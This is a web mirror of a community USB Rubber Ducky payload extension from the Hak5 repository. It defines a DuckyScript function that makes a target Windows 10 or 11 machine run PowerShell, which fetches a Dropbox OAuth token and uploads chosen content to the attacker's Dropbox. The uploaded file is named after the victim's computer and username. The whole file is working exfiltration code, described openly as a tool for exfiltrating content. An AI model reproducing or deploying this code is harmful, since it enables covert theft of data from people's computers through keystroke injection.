Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/extensions/community/POWERSHELL_TO_DROPBOX
2968 views
EXTENSION POWERSHELL_TO_DROPBOX
    REM_BLOCK DOCUMENTATION
        Title: PowerShell To Dropbox
        Author: PlumpyTurkey
        Description: This extension allows you to exfiltrate content available from PowerShell to a file in your Dropbox.
        Target: Windows 10, 11
        Version: 1.1
    END_REM

    REM Required options:
    DEFINE #PTD_CONTENT $Content
    DEFINE #PTD_REFRESH_TOKEN XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    DEFINE #PTD_APP_KEY XXXXXXXXXXXXXXX
    DEFINE #PTD_APP_SECRET XXXXXXXXXXXXXXX

    REM Advanced options:
    DEFINE #PTD_OUTPUT_FOLDER Exfiltrated-content
    DEFINE #PTD_OUTPUT_FILE [${env:COMPUTERNAME}-${env:USERNAME}].txt

    FUNCTION PTD_SEND()
        STRING_POWERSHELL
            try { 
                Invoke-RestMethod -Uri "https://content.dropboxapi.com/2/files/upload" -Method Post -Headers @{ 
                    "Authorization" = "Bearer $((
                    Invoke-RestMethod -Uri "https://api.dropboxapi.com/oauth2/token" -Method Post -Headers @{ 
                        "Content-Type" = "application/x-www-form-urlencoded" 
                    } -Body @{ 
                        "grant_type" = "refresh_token"; 
                        "refresh_token" = "#PTD_REFRESH_TOKEN"; 
                        "client_id" = "#PTD_APP_KEY"; 
                        "client_secret" = "#PTD_APP_SECRET" 
                    }
                ).access_token)"; 
                    "Content-Type" = "application/octet-stream"; 
                    "Dropbox-API-Arg" = "{""path"":""/#PTD_OUTPUT_FOLDER/#PTD_OUTPUT_FILE"",""mode"":""add"",""autorename"":true,""mute"":false}" 
                } -Body #PTD_CONTENT | Out-Null 
            } 
            catch { 
                Write-Host "An error occurred: $_" 
            }
        END_STRING
    END_FUNCTION
END_EXTENSION